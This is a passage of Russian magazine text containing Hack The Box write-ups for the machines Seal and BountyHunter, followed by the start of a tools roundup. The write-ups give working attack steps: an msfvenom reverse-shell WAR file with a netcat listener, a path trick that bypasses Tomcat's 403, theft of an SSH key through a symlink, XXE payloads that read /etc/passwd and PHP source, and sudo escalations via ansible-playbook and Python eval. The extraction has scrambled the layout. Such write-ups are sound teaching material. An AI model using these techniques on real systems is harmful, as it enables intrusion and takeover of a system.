но у машин с HTB поч ти всег да есть дру гое про хож дение. В жиз ни таких вари- 
антов может не быть, к тому же есть шан сы подоб рать пароль или получить
его при помощи соци аль ной инже нерии.

Так как порт 443 работа ет по про токо лу HTTPS, он содер жит сер тификат, а из
него мы можем узнать, для какого адре са он дей стви телен. Бла го его мы уже
добави ли в файл ./etc/hosts

Пос мотрим на сами сай ты. На пер вом нас встре чает какой-то однос тра- 
нич ный мар кет с полями для вво да. На вто ром находим GitBucket. Одно го
взгля да дос таточ но, что бы опре делить, с каким из сай тов сто ит начинать
работать.

Глав ная стра ница https://seal.htb

Глав ная стра ница http://seal.htb:8080

Git

GitBucket — это сис тема для сов мес тной работы с Git-репози тори ями,
которая пре дос тавля ет интерфейс в сти ле GitHub. Здесь мож но зарегис три- 
ровать ся, что мы незамед литель но сде лаем.

Стар товая стра ница поль зовате лей пос ле авто риза ции

Пос ле это го нам ста новит ся дос тупно некото рое количес тво про ектов. Мы
можем поис кать в исходных кодах кри тичес кие дан ные вро де сек ретов,
паролей и про чих инте рес ностей. Так же мы можем получить име на поль- 
зовате лей Git.

Поль зовате ли сис темы GitBucket

За пом ним поль зовате лей и пой дем по поряд ку прос матри вать репози тории.
Так, в репози тории мар кета мы най дем спи сок дел, где сре ди про чего зап- 
ланиро вана сме на кон фигура ции Apache Tomcat.

Опи сание репози тория

Это важ но, так как мы узна ем о еще одной тех нологии, которая исполь зует ся
на сай те. Давай прос мотрим исто рию ком митов. Прод вига ясь сни зу вверх,
оста новим ся на сле дующем ком мите:

http://seal.htb:8080/root/seal_market/commit/
ac210325afd2f6ae17cce84a8aa42805ce5fd010 

В нем мы най дем файл кон фигура ции Tomcat и необ ходимый для авто риза- 
ции пароль.

Па роль в фай ле кон фигура ции Tomcat

Про буем авто ризо вать ся с этим паролем в сис теме GitBucket от име ни всех
обна ружен ных поль зовате лей и выяс няем, что можем зай ти как .

К сожале нию, ничего нового нам это не откры вает, а к SSH пароль Льюиса
не подошел. Поэто му перей дем к сай ту мар кета.

luis

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те у нас воз можнос тей нем ного, поэто му поищем скры тые стра ницы
перебо ром. Я буду исполь зовать ути литу ffuf и сло варь из набора .Seclists

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке исполь зуем сле- 
дующие парамет ры:

ffuf

 — сло варь (исполь зуем );• -w directory-list-2.3-medium
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

Ко ман да получа ется сле дующая:

ffuf 
 403  200 

-w ../wordlists/_to_check/directory-list-2.3-medium.txt -u 
https://seal.htb/FUZZ -fc -t

Ре зуль тат ска ниро вания катало гов с помощью ffuf

Все най ден ные стра ницы выпол няют редирект в соот ветс тву ющий каталог.
Но нам инте рес ны толь ко две:  и .admin manager

От вет сер вера при дос тупе к катало гу /admin/

При обра щении к катало гу  нам вер нут ошиб ку 404, отку да мы узна- 
ем, что на сер вере работа ет Apache Tomcat 9.0.31. При этом стра ница 

 выпол нит редирект в каталог , отку да нас сно ва перенап- 

равля ет на . Пос ледняя же вер нет код 403 — это озна чает, что
у нас недос таточ но прав для дос тупа к стра нице. Что бы рас ширить свою
область зна ний о сай те, пов торим ска ниро вание дирек торий, но уже
в катало ге .

/admin/
/

manager /manager/
/manager/html

/manager/

ffuf 
 403  200 

-w ../wordlists/_to_check/directory-list-2.3-medium.txt -u 
https://seal.htb/manager/FUZZ -fc -t

Ре зуль тат ска ниро вания катало гов с помощью ffuf

От кры ваем для себя две новые стра ницы:  и . Ответ 401 озна чает,

что тре бует ся HTTP-авто риза ция. У нас уже есть имя поль зовате ля и пароль
из кон фига Apache Tomcat, поэто му без проб лем про ходим авто риза цию. Нас
встре тит панель Server Status Apache Tomcat.

text status

Стра ница Apache Tomcat Server Status

Этот матери ал ничего нам не дает, поэто му сто ит поп робовать про бить ся
к зак рытым для нас фун кци ям.

ÒÎ×ÊÀ ÎÏÎÐÛ

Îáõîä 403 Forbidden

Есть мно го рекомен даций, как обой ти ответ 403 (дос туп зап рещен), сре ди
которых исполь зование ред ких методов зап роса (вмес то обыч ных GET
и POST), раз ных заголов ков HTTP и спе циаль ных путей к целевой стра нице.
На все эти слу чаи у меня есть свои сло вари, соб ранные из интерне та и объ- 
еди нен ные в один. Поэто му я буду исполь зовать Burp Intruder для перебо ра
раз ных вари антов.

В резуль тате я получил отве ты, дли на которых зна читель но боль ше осталь- 
ных. На вклад ке Response в Burp вклю чаем опцию Render, что бы смот реть
стра ницы, как в бра узе ре.

Так мы получа ем дос туп к фун кции  при обра щении к 

.

/manager/html /
manager/;%2f../;//html

Tomcat Admin to RCE

Имея адми нис тра тив ный дос туп к Tomcat, мы можем заг рузить на сер вер
и затем выпол нить файл WAR (набор ресур сов и исполня емых фай лов Java).
Конеч но же, в нашем слу чае это будет обратный шелл. Его мы можем соб рать
с помощью Msfvenom.

443  
war 
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.58 LPORT= -f

-o revshell.war 

Соз дание реверс-шел ла на JSP

Этот код дол жен выз вать кон нект на ука зан ный адрес (то есть наш локаль ный
IP). Пишем: .rlwrap nc -lvp 443

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, который запус тил шелл. Для при ема соеди- 
нения необ ходимо соз дать на локаль ной машине listener, то есть «слу- 
шатель».

В таких слу чаях при годит ся  — readline-обо лоч ка, которая в чис ле
про чего поз воля ет поль зовать ся исто рией команд. Она обыч но дос тупна
в репози тории дис три бути ва.

rlwrap

В качес тве самого лис тенера при этом мож но исполь зовать широко
извес тный netcat.

 rlwrap nc -lvp [port] 

Но файл прос то так не заг рузить, так как мы получа ем дос туп к стра нице толь- 
ко через спе циаль ный путь. Поэто му ука зыва ем файл для заг рузки и акти- 
виру ем Burp Proxy для отло ва зап роса.

Фор ма заг рузки фай ла

Пос ле появ ления зап роса в Burp Proxy изме ним уже зна комый нам путь 

 на .

/
manager/html /manager/;%2f../;//html

Зап рос при заг рузке фай ла

Но вый зап рос при заг рузке фай ла

Заг ружен ный файл

Пос ле обновле ния стра ницы уви дим в спис ке фай лов свой реверс-шелл.
Обра щаем ся к нему и получа ем бэк коннект.

Ок но лис тенера

ÏÐÎÄÂÈÆÅÍÈÅ

Ес ли ты сле дишь за цик лом моих ста тей, то уже зна ешь, что для поис ка пути
прод вижения я буду исполь зовать .LinPEAS

Справка: скрипты PEASS для Linux
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Что бы вос поль зовать ся скрип том, его нуж но сна чала заг рузить на локаль- 
ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh 

Те перь надо заг рузить его на уда лен ный хост. В дирек тории со скрип том
на локаль ной машине запус тим с помощью Python прос той веб-сер вер. Пос- 
ле выпол нения этой коман ды веб-сер вер будет прос лушивать порт 8000.

python3 -m http.server 

А теперь с помощью того же  на целевой машине заг рузим скрипт

с локаль ного хос та на уда лен ный. Пос ле заг рузки необ ходимо дать фай лу
пра во на выпол нение и выпол нить скрипт.

wget

wget http://[ip_локального_хоста]:8000/linpeas.sh 
chmod +x linpeas.sh 
./linpeas.sh 

Ин форма ции получа ем мно го, но ухва тить ся, казалось бы, не за что. Единс- 
твен ный момент — в дереве про цес сов видим запущен ный скрипт из пла- 
ниров щика задач cron. Это может быть инте рес но!

Де рево про цес сов

Playbook во фрей мвор ке Ansible опре деля ет серию некото рых дей ствий
для выпол нения. Час то плей буки исполь зуют для началь ной нас трой ки сер- 
веров — добав ления поль зовате лей и катало гов, управле ния пакета ми ПО и
фай лами. У нас в  переда ется файл кон фигура ции 

.

ansible-playbook /opt/
backups/playbook/run.yml

Со дер жимое скрип та run.yml

В фай ле три задачи: ,  и . То есть сна чала

фай лы из дирек тории 

копиру ются в каталог , затем фай лы в этой дирек тории
архи виру ются и уда ляют ся.

Copy Files Server Backups Clean
/var/lib/tomcat9/webapps/ROOT/admin/dashboard

/opt/backups/files

Со дер жимое дирек тории dashboard

Со дер жимое дирек тории backups

Так как выпол няет ся копиро вание и фай лов по ссыл кам (опция )

в кон тек сте поль зовате ля , то мы можем сде лать ссыл ку на его лич ные
фай лы, что поз волит их ско пиро вать, ког да cron запус тит задачу. Конеч но же,
копиро вать будем при ват ный ключ SSH. Сде лаем ссыл ку на ключ и помес тим
ее в целевую дирек торию. Спус тя вре мя обна ружим появив ший ся архив.

copy_links
luis

 ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/
uploads 

Бэ кап фай лов

От кры ваем архив и дос таем ключ.

cp /opt/backups/archives/backup-2021-07-15-15:10:32.gz /tmp/b.gz 
 gzip -kd /tmp/b.gz 

 tar -xf /tmp/b 
cat /tmp/dashboard/uploads/.ssh/id_rsa 
chmod 0600 id_rsa 

При ват ный ключ SSH

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пов торный запуск LinPEAS не показы вает дра матич ных раз личий, но зацеп ка
все же есть — нас трой ки sudoers.

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Нас трой ка sudoers

Лю бой поль зователь (ALL) может выпол нить коман ду 
 в при виле гиро ван ном кон тек сте без вво да пароля (NOPASSWD).

Откры ваем сайт  и находим тех нику локаль ного повыше ния при- 
виле гий для это го при ложе ния.

/usr/bin/ansible-
playbook *

GTFOBins

Тех ника GTFOBins для повыше ния при виле гий через Ansible Playbook

Эта коман да соз дает файл кон фигура ции playbook во вре мен ной дирек тории.
Файл содер жит одну выпол няемую задачу — запуск обо лоч ки . В кон- 

це  запус кает ся в при виле гиро ван ном кон тек сте, что нам
даст при виле гиро ван ную обо лоч ку.

/bin/sh
ansible-playbook

TF=$(mktemp)
 

 
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 
2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF

Флаг рута

Ма шина зах вачена, мы име ем над ней пол ный кон троль!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/danielmiessler/SecLists
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/hanslub42/rlwrap
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://gtfobins.github.io/
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XXE

RalfHacker
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ВЗЛОМ

В этой статье на при мере прос той по слож- 
ности машины BountyHunter с 
я про демонс три рую экс плу ата цию уяз- 
вимос ти XXE, работу с обер тка ми в PHP
и экс плу ата цию бага в прог рамме
на Python. Это не самые хит рые уяз вимос- 
ти, зато они встре чают ся в реаль ных усло- 
виях.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.10.100    bountyhunter.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим два откры тых пор та: 22 (служ ба SSH) и 80 (веб-сер вер Apache
2.4.41). Начина ем с веб-сер вера.

Справка: брутфорс учеток
Пос коль ку в начале про хож дения у нас нет учет ных дан ных, нет и смыс ла изу- 
чать служ бы, которые всег да тре буют авто риза ции (нап ример, SSH). Единс- 
твен ное, что мы можем делать здесь, — это переби рать пароли брут форсом,
но у машин с HTB поч ти всег да есть дру гое про хож дение. В жиз ни таких вари- 
антов может не быть, к тому же есть шан сы подоб рать пароль или получить
его при помощи соци аль ной инже нерии.

Вни матель но изу чим сайт и соберем цен ную информа цию. Сайт кажет ся
прос тень ким. Видим нес коль ко навига цион ных ссы лок и кноп ку для ска чива- 
ния какого-то фай ла.

Кноп ка ока залась нерабо чей, как и пер вые две ссыл ки, но зато ссыл ка Portal
при водит нас на стра ницу  с тек стом «Portal under development.
Go here to test the bounty tracker» и еще одной ссыл кой. При перехо де по ней
нас встре тит фор ма вво да «Bounty Report System - Beta».

portal.php

ÒÎ×ÊÀ ÂÕÎÄÀ

От пра вив тес товые дан ные, мы получим сооб щение, что если база дан ных
готова, то наши дан ные будут в нее добав лены.

Фор ма Bounty Report System

Пер вым делом я хотел тес тировать SQL-инъ екцию в зап росе Insert, но все же
взгля нул на весь путь наших зап росов через Burp. Все зап росы мож но уви- 
деть в Burp History.

Вклад ка Burp History

Что бро силось в гла за — я запол нял четыре парамет ра, а отправ ляет ся один,
при чем в кодиров ке Base64. Бла го в Burp Pro сей час есть пла гин Inspector,
который авто мати чес ки раз бира ет и сни мает извес тные кодиров ки.

Burp Inspector

Имен но Inspector зас тавил меня перей ти с тес тирова ния SQL-инъ екции
на поиск XXE. А все потому, что парамет ры отправ ляют ся в фор мате XML.

ÒÎ×ÊÀ ÎÏÎÐÛ

XXE-èíúåêöèÿ

XML eXternal Entity (XXE) инъ екция — это уяз вимость в сер висах, которые под- 
держи вают про токо лы SOAP и XML-RPC и при нима ют вход ные дан ные в виде
XML-докумен та. Стан дарт XML под держи вает вклю чение сек ции DTD, а сек- 
ции эти, в свою оче редь, могут под клю чать к докумен ту допол нитель ные ком- 
понен ты, так называ емые внеш ние сущ ности.

Внеш ние сущ ности — это отдель ные фай лы, и добав ляют ся они
с помощью клю чево го сло ва  и URI. Если XML-пар сер невали диру- 

ющий, то он может прос то заг рузить внеш нюю сущ ность и под клю чить
к содер жимому XML-докумен та. У зло умыш ленни ка есть воз можность под ста- 
вить в URI внеш ней сущ ности le URI, ука зыва ющий на уда лен ный или локаль- 
ный файл в сис теме.

SYSTEM

А теперь давай перей дем к нашему при меру. Ниже пред став лен документ
XML, который отправ ляет ся на сер вер.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<bugreport>
   test<title> </title>
   test<cwe> </cwe>
   test<cvss> </cvss>
   test<reward> </reward>
</bugreport>

Что бы поис кать уяз вимость, под клю чим сна чала внут реннюю сущ ность.
Для это го опре делим сек цию  и сущ ность ( )  со зна- 

чени ем . В самом докумен те можем обра щать ся к нашей сущ ности
 как буд то через ссыл ку . При чем вста вим пос ледова тель- 

ность для тес та абсо лют но во все парамет ры, что бы уве личить шан сы.

DOCTYPE ENTITY testXXE
RALF

testXXX &testXXE;

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY testXXE "RALF"> ]> 
<bugreport>
   <title>&testXXE;</title>
   <cwe>&testXXE;</cwe>
   <cvss>&testXXE;</cvss>
   <reward>&testXXE;</reward>
</bugreport>

Зап рос, тес тиру ющий XXE

В ито ге вмес то  под став ляет ся зна чение , что сви детель ству ет
о наличии XXE. Давай поп робу ем ее раз вить: к при меру, про читать локаль ный
файл в сис теме. Будем читать дос тупный всег да и для всех поль зовате лей
файл . Для это го опре делим сущ ность, но уже не как локаль ную

стро ку, а как внеш ний файл в сис теме:

&testXXE; RALF

/etc/passwd

[  ] <!ENTITY testXXE SYSTEM "file:///etc/passwd">

До кумент получил ся сле дующий:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY testXXE SYSTEM "file:///etc/passwd"> ]> 
<bugreport>
   <title>&testXXE;</title>
   test<cwe> </cwe>
   test<cvss> </cvss>
   test<reward> </reward>
</bugreport>

Со дер жимое фай ла /etc/passwd

Сис тема вер нула нам содер жимое жела емо го фай ла. В основном все поль- 
зовате ли стан дар тные и отно сят ся к сис теме, а вот логин  — нет.
Инте рес но!

development

Сле дующий шаг — поиск учет ных дан ных. Раз мы можем читать про- 
изволь ные фай лы, про верим исходни ки сай та. Нач нем с извес тной нам стра- 
ницы . Но прос то передать файл в сущ ность

теперь не вый дет, так как при зап росе содер жимого кода на PHP веб-сер вер
не отоб разит, а выпол нит его. Что бы это го не слу чалось, будем исполь зовать
обер тку PHP.

tracker_diRbPr00f314.php

PHP wrappers

PHP пос тавля ется со мно жес твом встро енных обер ток для обра щения к фун- 
кци ям фай ловой сис темы, таким как , , 

и . В слу чаях, подоб ных нашему, чаще все го исполь зует ся обер- 
тка, реали зующая схе му , которая пре дос тавля ет дос туп к потокам

вво да-вывода.

fopen() copy() file_exists()
filesize()

php://

В час тнос ти, как фай лы в PHP мож но открыть:
собс твен ные потоки вво да-вывода PHP;•
дес крип торы стан дар тно го вво да, вывода и потока оши бок;•
вре мен ные фай ловые потоки в памяти и на дис ке;•
филь тры, которые могут манипу лиро вать дру гими фай ловыми ресур сами
по мере их счи тыва ния или записи.

•

Да вай раз берем ся с филь тра ми. По адре су  дос тупна мета- 
обер тка, которая поз воля ет при менять филь тры к потоку во вре мя откры тия.
Это полез но для фун кций вро де ,  и 

, где нет воз можнос ти при менить филь тр к потоку до того, как содер жимое
будет про чита но. А это наш слу чай.

php://filter

readfile() file() file_get_contents(
)

По ток  при нима ет как часть пути сле дующие парамет ры:php://filter
 — ука зыва ет потоку, что его необ ходимо отфиль тро вать;• resource

 — одно имя или нес коль ко имен филь тров для чте ния, раз делен ных
сим волом ;

• read
|

 — одно имя или нес коль ко имен филь тров для записи, раз делен ных
сим волом ;

• write
|

 — спи сок
филь тров, который будет при менен к обо им потокам на чте ние и на
запись.

• [список фильтров для применения к обеим цепочкам]

Пе рехо дим к прак тике. Мы можем соб рать филь тр-обер тку, который будет
кодиро вать поток вво да еще при чте нии кода из фай ла.

php://filter/read=convert.base64-encode/resource=tracker_
diRbPr00f314.php 

Это при ведет к тому, что на сай те будет отоб ражен код тре буемой стра ницы,
но сра зу закоди рован ный в Base64. При меним обер тку в нашей XXE-наг- 
рузке:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY testXXE SYSTEM "php://filter/
read=convert.base64-encode/resource=tracker_diRbPr00f314.php"> ]> 
<bugreport>
   <title>&testXXE;</title>
   test<cwe> </cwe>
   test<cvss> </cvss>
   test<reward> </reward>
</bugreport>

От прав ка зап росов с PHP-филь тром

Те перь в Burp выделя ем текст, закоди рован ный в Base64, и нажима ем Ctrl-
Shift-B. Откро ется новое окно Burp с декоди рован ным тек стом.

Де коди рован ный код tracker_diRbPr00f314.php

Ни чего инте рес ного в этом фай ле не находим, как и в коде осталь ных извес- 
тных нам стра ниц сай та. В таком слу чае прос каниру ем фай лы PHP в кор невом
катало ге сай та, к при меру с помощью .ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (исполь зуем directory-list-2.3-medium из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

Спи сок популяр ных фай лов PHP мож но най ти в наборе сло варей .SecLists

 200 
 403 

ffuf  -u http://bountyhunter.htb/FUZZ -w php_files_common.txt -t
-fc

Ре зуль тат ска ниро вания фай лов

Там мы находим новый файл — . Это файл, который обес печива ет

под клю чение к базе дан ных и дол жен содер жать необ ходимые парамет ры,
в том чис ле учет ные дан ные для дос тупа к БД.

db.php

Со дер жимое фай ла db.php

Най ден ный пароль под ходит для обна ружен ного в фай ле  юзе ра

, и мы получа ем флаг поль зовате ля.

/etc/passwd
development

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Для повыше ния при виле гий в Linux всег да сто ит про верять нас трой ки sudoers
и при ложе ния с выс тавлен ным битом SUID.

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

При про вер ке sudoers ( ) сра зу находим зацеп ку.sudo -l

Нас трой ки судо ера

Та ким обра зом, мы можем без вво да пароля выпол нить скрипт 

 в при виле гиро ван ном кон тек сте. Пос- 

мотрим, что в нем!

/opt/
skytrain_inc/ticketValidator.py

Со дер жимое фай ла ticketValidator.py

Нач нем ана лиз с фун кции . Пер вым делом у нас зап росят путь

к какому-то фай лу и переда дут то, что мы вве ли, в фун кцию . В ней
про веря ется рас ширение фай ла. Если это файл в фор мате Markdown ( ),

то он откры вает ся, а прог рамма про дол жает работать.

main
load_file

.md

За тем дес крип тор откры того фай ла переда ется в фун кцию . Она

пос троч но счи тыва ет и про веря ет файл. Так, пер вой стро кой дол жно быть
выраже ние , вто рая стро ка дол жна начинать ся с пос ледова- 

тель нос ти , а третья — . Все осталь ные

стро ки дол жны начинать ся сим волами .

evaluate

# Skytrain Inc
## Ticket to __Ticket Code:__

**
Ес ли все про вер ки прой дены, то, начиная с чет вертой стро ки, в перемен- 

ную  будет счи тывать ся чис ло меж ду сим волами  и . При этом

оста ток от деления это го чис ла на 7 дол жен быть равен 4. В этом слу чае вся
стро ка без сим волов  переда ется в фун кцию .

ticketCode ** +

** eval
Мы доб рались до вызова опас ной фун кции, которая дол жна выпол нять код

Python, — тут и кро ется уяз вимость. Так как Python — это не сце нар ный язык
вро де bash, информа цию об ошиб ках мы получим толь ко во вре мя выпол- 
нения кода.

К при меру, если я передам в фун кцию  стро ку , то прог- 
рамма сра зу сиг нализи рует об ошиб ке. Но если в ту же фун кцию 

передать стро ку ( ), то ошиб ка будет выз вана не сра зу, так

как Python сна чала выпол нит фун кцию , а потом .

eval 4+sdffds
eval

4+print('qwe')
print eval

Тес товый запуск кода

Та ким обра зом, мы можем помес тить в ито говый файл код на Python пос ле
зна ка , и этот код будет выпол нен. Можем перехо дить к выбору наг рузки.+

Аб солют но все спо собы получе ния управле ния тре буют под клю чить дру- 
гие модули. Так как мы не можем исполь зовать пос ледова тель ность команд
через точ ку с запятой, оста ется выпол нять однос троч ники по сле дующе му
шаб лону:

__import__('module').method('param')

где  — импорти руемый модуль,  — фун кция из это го модуля,
а  — парамет ры фун кции.

module method
param

Тес товый вызов фун кции Base64

Под клю чать будем модуль , из которо го исполь зуем фун кцию 

для соз дания коман дной обо лоч ки в при виле гиро ван ном кон тек сте. Объ еди- 
нив всё, получим сле дующий файл Markdown:

pty spawn

# Skytrain Inc
## Ticket to ralf
__Ticket Code:__
**4+(__import__('pty').spawn('/bin/bash')) 

Флаг рута

Ма шина зах вачена, и мы получа ем флаг рута.

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/ffuf/ffuf
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/Common-PHP-Filenames.txt
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ТРЮКИ

Век живи — век собирай вся кие полез ные шту кови ны!
Руководс тву ясь этим пра вилом, я ско пил обширную кол- 
лекцию ути лит, луч шими из которых хочу с тобой поделить ся.
Может, и ты под берешь себе что-то, что поможет тебе
в ежед невной работе или выручит в слож ную минуту.

INFO

Это уже третья под борка ути лит, которую я пуб- 
ликую в «Хакере». В пер вой были соб раны 

, во вто рой — 
.

по лез- 
ней шие кон соль ные тул зы средс тва
авто мати зации

Часть ути лит из этой статьи прис лал мне бла- 
годар ный под писчик. Если у тебя тоже есть о чем
рас ска зать миру — доб ро пожало вать в ком мента- 
рии.

WINDOWS & WSL

WSL Host Patcher

Как извес тно, в Windows 10 и 11 мож но запус кать при ложе ния для Linux. Сис- 
тема, которая поз воля ет это делать, называ ется WSL — Windows Subsystem
for Linux. WSL (в прос тонародье — «вес ло») име ет две вер сии, незамыс- 
ловато наз ванные WSL и WSL 2. Пер вая вер сия выш ла в 2016 году и уже
мораль но уста рела. Мас штаб но обно вили сис тему в 2020 году, в релизе
Windows 10 2004 — что бы не путать, ее тог да и наз вали WSL 2. Внут ри WSL
2 — вир туаль ная машина Hyper-V с проб рошен ными в нее ресур сами хос та.

Ког да какой-то про цесс внут ри WSL 2 начина ет слу шать TCP-порт,
 слу шает этот же порт на 127.0.0.1 хос та, фак тичес ки прок сируя

его наружу, на хост. Проб лема такого фор вардин га в том, что сна ружи хос та
этот порт недос тупен, то есть под нятый на 8080-м пор те веб-сер вис в WSL
дос тупен для хос та, но не тор чит в локал ку.

wslhost.exe

Ес ли хочет ся получить дос туп к такому сер вису сна ружи, а не толь ко
с машины с самой WSL — при годит ся . Все, что он дела ет, —
это пат чит в памяти , что бы тот откры вал соеди нения

не на 127.0.0.1, а на 0.0.0.0, слу шая соот ветс тву ющий порт на всех интерфей- 
сах.

WSL Host Patcher
wslhost.exe

Wslgit

В про дол жение извра щений с WSL хочу показать малень кую ути литу на Rust,
которая прос то тран сли рует все вызовы себя в соот ветс тву ющие вызовы 
в WSL 2. Зачем это надо? Допус тим, у тебя есть какой-то очень боль шой
репози торий Git внут ри WSL, а ты работа ешь в тек сто вом редак торе с хос та.
Что бы Git кор рек тно работал с кодом внут ри полувир туаль ного Linux, нуж но
как-то тран сли ровать вызовы Git с исправ ленны ми путями внутрь кон тей нера.

 дела ет ров но это: исправ ляет путь, что бы получить дос туп из кон тей- 
нера к фай лам хос та, и запус кает Git в WSL 2, что бы выпол нить нуж ное дей- 
ствие. Прос то и понят но.

git

Wslgit

Юз кей сов wslgit нем ного, но иног да он совер шенно незаме ним.

Î÷èñòêà ïàìÿòè vmmem

Раз уж загово рили о WSL, упо мянем еще одну важ ную проб лему, из-за
которой порой при ходит ся перезаг ружать совер шенно исправ ный компь ютер
с неделя ми аптай ма. WSL очень любит агрессив но кеширо вать в опе ратив- 
ную память, но не спе шит осво бож дать ее, ког да эта память нуж на вин де.
В резуль тате про цесс vmmem съеда ет всю опе ратив ку, и при ходит ся
перезаг ружать ся.

Ре шение проб лемы прос тое — выпол нить от рута сле дующую коман ду
в WSL:

# sh -c "echo 3 > /proc/sys/vm/drop_caches"

Но дол жен быть и спо соб получ ше. Может, ты зна ешь? Рас ска жи в ком ментах!

Продолжение статьи →

https://xakep.ru/2021/06/08/console-utilities/
https://xakep.ru/2021/09/30/console-utilities-2/
https://github.com/CzBiX/WSLHostPatcher
https://github.com/andy-5/wslgit
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ТРЮКИ  НАЧАЛО СТАТЬИ←

WEB

TLS Support Check

 — это быс трый спо соб про верить, под держи вает ли бра узер сов- 
ремен ные фичи TLS. Сер вис про веря ет под дер жку одно разо вых клю чей, спи- 
сок дос тупных шиф ров, мгно вен ное возоб новле ние шиф рован ного соеди- 
нения и некото рые дру гие вещи.

TLS.support

TLS.support

На сер висе мож но получить код резуль тата кон крет ной про вер ки. Удоб но,
если ты хочешь поп росить кого-то про тес тировать работу и показать резуль- 
таты.

SSH web client

Как-то раз мне нужен был веб-тер минал. Я поис кал и нашел про ект .Webshell
Webshell — это пол ноцен ный тер минал пря мо в окне бра узе ра. Он работа- 

ет как SSH-кли ент, но для моих задач было дос таточ но прос то под клю чить ся
через него к 127.0.0.1 и работать. Сочета ния кла виш под держи вают ся, пол- 
ноэк ранные прог раммы вро де htop и nano — тоже. Что нам еще нуж но
для счастья?

Ес ли у тебя есть свой сер вер и ты хочешь иметь воз можность получать
к нему дос туп из SSH через бра узер, то это отличный вари ант.

Ус танав лива ется прог рамма через Docker:

   docker run -d --security-opt seccomp=unconfined -p 8018:80 -e
ALLOWED_NETWORKS=0.0.0.0/0 bwsw/webshell 

Webshell в дей ствии

Ots

Нуж но из тер минала поделить ся какой-то вре мен ной замет кой? Дер жи тог да
ана лог  (сер вис шерин га одно разо вых заметок, которые унич тожа- 
ются пос ле проч тения), но работа ющий из тер минала!

Privnote

 — это кон соль ная ути лита с end-to-end-шиф ровани ем и воз- 
можностью более-менее безопас но шерить сек реты.

Ots

Для уста нов ки дос таточ но исполь зовать brew ( ),

но если ты при вер женец тра дици онных для Linux спо собов уста нов ки, то brew
